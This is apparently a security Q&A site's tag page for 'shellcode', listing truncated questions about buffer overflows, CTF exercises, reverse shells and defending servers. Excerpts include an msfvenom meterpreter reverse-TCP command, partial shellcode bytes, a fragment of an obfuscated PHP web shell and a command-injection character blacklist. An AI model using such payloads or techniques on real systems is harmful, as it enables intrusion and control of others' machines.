Questions tagged [shellcode]

In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.

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how to get a shell after you get admin credentials [closed]

so lets assume that somehow I got domain admin credentials in an active directory enviorment. How many different ways are there to get a shell after that .
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How to avoid crash after successfully run shellcode?

I am a student studying information security. Recently I read this article link and made full exploit code. calc.exe is executed as expected. But after running shellcode, IE just crashed. (because no ...
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How do I gain root access to a system using a setuid root binary?

Assuming that I have no ability to use sudo and rather limited permissions, but I have a shell script exploit that allows to me change the file ownership of a file to the current user by running a ...
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Can't inject meterpreter shellcode in c++ code

I want to inject meterpreter shellcode in a c++ program . When i create .exe file in msfvenom i try it in my virtual machine (windows 7) and it works well but when i create shellcode and inject it in ...
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Automatically insertion of 00 in EIP in Stack Overflow 64bit

I am trying to overflow a stack in C sample code to execute uncalled function in code. The problem is when i overflow stack by entering a(24 times), $EIP is 0x555555550061. I want it to be ...
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MessageBoxA only shows up in debugger?

This question is related to crackmes.de's k1 by xtfusion. I'm trying to add custom shellcode through stack overflow. The shellcode works perfect under Windows XP (without ASLR) when the program is ...
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Can't execute shell i uploaded with cURL

I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension. When I open my shell with a web browser, it doesn't execute (confirmed with a packet ...
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139 views

Decompiling shellcode

I'm trying to understand how shellcode works. I wrote a simple program in C#, then I used Donut to create the shellcode from that exe in base64 format. Then, I wrote again another program to convert ...
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Exploit education stack-five: trouble opening shell

Im trying the phoenix vm, challenge stack-five on exploit.education (http://exploit.education/phoenix/stack-five/). I run onto a problem while exploiting a stack overflow. The challenge is run execve('...
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Shellcode in MongoDB Python code

I know I can input this into a search box that queries the MongoDB. I have updated the code with my shell code, but I won't include that, I will just use the exploit as it is here: db.my_collection....
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Pwnable: Process has its own home directory

I recently started to do the pwnable.tw challenges. I have no problem understanding the actual buffer-overflow and shellcode injection. However, after the shell is spawned, the flag is read from /...
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Find Buffer Overflows at a target you want to gain access

I want to pass my OSCP exam and I am learning with the material I got. I watched the videos and read the pdf but I have a question about buffer overflows. In the example in the videos, the guy has ...
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How to block for open Web Shell in my CentOS 6

I currently use mod_security in combination with maldec and block almost all attempts to upload shells, leading them to error 406. However, I found one "problem" if I upload Shell through an ftp ...
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In Buffer overflow exploitation what if JMP ESP address contains bad characters?

I was writing an exploit for BOF. The server accepts only ASCII payloads. FInally I wnted to jump to my shellcode which is clearly in the stack. But only one module is available without ASLR and DEP ...
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Executing shellcode in python format [closed]

So after running the command: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.31 lport=8080 -f py I receive the output: buf = b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\...
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Why Does Only 1 Of These 2 Almost-identical Payloads Give Me A Shell?

I wrote a vulnerable test program to practice buffer overflows; however, I was having trouble getting it to work. Finally, after slightly modifying the return address, I was able to gain a shell, but ...
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Why is a shell not spawning after a buffer overflow exploit?

I started learning about stack-smashing after it came up during a CTF exercise. I have been practicing on an ELF 32-bit executable that I received for the CTF. After disassembling the binary file, I ...
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Basic questions about shellcode

Is the hex code at the top of this source file the same as the assembly at the bottom, as in they do the same thing? How can I convert assembly into hex like in this source code file? I frequently ...
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What's the point of this php shell? [duplicate]

What is the point of this shell code? There is no other code in the file. @preg_match_all("/\t \t(.+)\t\t/Ui",@file_get_contents(__FILE__),$r); $w="";foreach($r[1] as $v){@$w.=@chr(@strlen($v));} $e=...
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Windows shellcode not working in C

I have been trying to run a raw piece of shellcode collected on the net within a C wrapper to try it but it never works... I know the shellcode below is all right because it does work in the context ...
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permission denied when executing an elf payload

I can examine a payload using libemu (sctest) and ndisasm, like this : msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest -vvv -Ss 1000 msfvenom -p linux/x86/shell_bind_tcp -f raw | ndisasm -u -...
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How to forbid user from executing malicious shell and Python script?

I am designing a online programming website similar to https://repl.it. Users can execute shell and python scripts on the browsers. If users execute malicious commands including but not limited to "...
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Confusing with the exact location of a shellcode in memory?

When we test a shellcode, we add it to a small C program and execute it in order to see it does the actual job we expect. But most of the time, it crashes saying 'segmentation fault'. I got the same ...
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738 views

Replace forbidden characters function check python

I have "blackbox" with the following python function code (without permission to change it): def exec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') ...
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The most secure way to allow downloading and installing an app on Mac, Windows, or Linux

I have been introduced to the anti-bash-script-piping stuff such as these: Curl Bash Piping Wall of Shame (link broken) Piping curl to s(hell) Don't Pipe to your Shell The hidden dangers of piping ...
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315 views

Pickle Shellcode Import Error

I'm trying to execute pickle shell-code through a download function on a website but I get the following error: <html> <h1>ERROR: Cannot load file</h1> <!-- Traceback (most ...
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Why is generated different traffic for the same attack?

I created a scenario in VirtualBox (configured as internal network) with two machines: Windows XP and Kali Linux. I used ms08_067_netapi exploit from Metasploit and the payload windows/meterpreter/...
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Should the shellcode be “reversed” before beeing injected in a simple buffer overflow?

I'm new to buffer overflows and I'm trying to understand exactly what I'm doing before using any premade and easy to go scripts. My goal is to spawn a shell, so I found the asm code to do an execve("/...
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x86 shellcode leads to segmentation fault

I want to execute execve("/bin/dash", &"/bin/dash", NULL) on Ubuntu 64 bit with the following 32 bit shellcode: global _start _start: xor eax, eax ; set eax = 0 to push a null without using ...
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557 views

Shellcode as part of format string buffer

I'm currently trying out a simple format string vuln exploit. The target program looks like this: int main(int argc, char *argv[]) { char buffer[1024]; strncpy(buffer, argv[1], sizeof(buffer)...
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549 views

linux kernel exploit shellcode causes segfault

I'm learning how to write kernel exploits and my shellcode keeps seg faulting. I'm getting the memory address for commit_creds(prepare_kernel_cred(0)); #grep commit_creds /proc/kallsyms c907eea0 T ...
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Is JIT-compiler required for JIT-ROP attack?

I have been studying up on the concept of Just-in-Time (JIT) ROP attack (https://cs.unc.edu/~fabian/papers/oakland2013.pdf), and came across this question which I have not been able to find the ...
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Shell injection using only [alphanumeric, dashes, colon, period]

I found an html form with a single input field, where the inputted text is used as the argument (or rather just the last part) of a ping command on the server. When submitting the form, the following ...
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shellcode JMP-CALL-POP technique ( Segmentation fault (core dumped) )

I write this shellcode for spawn a shell on the box using JMP-CALL-POP technique but i keep got this error i don't now why !! Segmentation fault (core dumped) my shellcode : section .text ...
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Reverse shell refusing/difficulties to establish connection

I've been trying to reverse shell between different devices, however, I'm never able to establish a connection or get a shell prompt . Let's say I have a Mac OSX as victim and use a raspberry Pi ...
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What is the purpose of the instruction fldz on the Aaron Adams shellcode?

I'm studying the Aaron Adams assembly code. You can find the documentation here (section --[ 2.b.i Getting EIP). I understand that the goal is to get the EIP. I know that the FPU environment looks ...
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How is executable shellcode inserted?

How is shellcode (the payload) added to an executable file? Assume it is close source. How does the hacker then get the address of where it is? They need this for when they overwrite the return ...
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A process called ./watchbog is mining crypto currency in our server. How do I stop it? [duplicate]

I have found this question below but I need some more clarification that's why I am writing again. I have a process called “watchbog” that is completely hogging my CPU and I don't know what it is ...
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Shellcode different on guide

I followed a guide to do narnia2 of overthewire and the shellcode generated by them was: h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80 ...
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608 views

Where in a binary can '/bin/sh' be written to get a shell?

I've come across some behaviour in a CTF challenge that seems very strange and I was wondering if someone could help me understand it. The CTF challenge was the can-you-gets-me challenge in ...
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392 views

Shellcode getting segmentation fault on vmware

I'm learning exploitation, and I downloaded some execve("/bin/sh") shellcode from exploit-db to use it in simple buffer overflow example. When I execute the program I am getting segmentation fault. I'...
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Is it possible to execute a local file or code from cURL?

I wonder if it is possible to execute bash code or a local file from cURL, that is, using the following syntax: curl "local file" I was looking for possible solutions and found that to read the ...
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Privilege Escalation: C functions setuid(0) with system() not working in Linux

Quick disclaimer: I fully understand that the code I am attempting to write is insecure, and allows for arbitrary users to escalate to root. I am writing a simple C program like this to demonstrate ...
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Windows 64-bit Reverse TCP Shell not working

I am sending shellcode to a 64-bit binary running on a Windows machine. This binary, copies the shellcode to an executable region of memory and executes it. I am generating the shellcode using ...
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Segmentation fault in exercise program

I am going through this video on buffer overflows but am having some trouble replicating the demo. The issue is that I am getting a segmentation fault when I expect to get a shell at the end. The idea ...
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Buffer Overflow shell question

If a custom library is affected by a buffer overflow and it is linked against an executable running as root. If an attacker gains a remote reverse shell, it will run under the user of the linked ...
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Not able to run the injected shellcode

#include <stdio.h> void secret() { printf("Congratulations!\n"); } void echo() { char array[60]; scanf("%s", array); printf("You entered: %s\n", array); } int main() { ...
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Concerns about LaTeX 3 shell escape code

What are the security risks in this line of LaTeX code, and what can be done to reduce them? The LaTeX3 project wants TeX macros to be able to do file operations via shell escape. { cp~-RLf~ \...
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Why does my x86 shellcode test program segfault?

I am trying to learn how to create shellcode, my goal is to call execve(). I wrote the code in assembly and it works perfectly, there are no null-bytes or absolute addressing methods. The code works ...
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169 views

Block hex encoded requests using fail2ban

I have new web server running nginx. The default server is receiving 10K+ requests every day from Russian bots. They are clearly probing for something, but it's hard to say what since the requests ...

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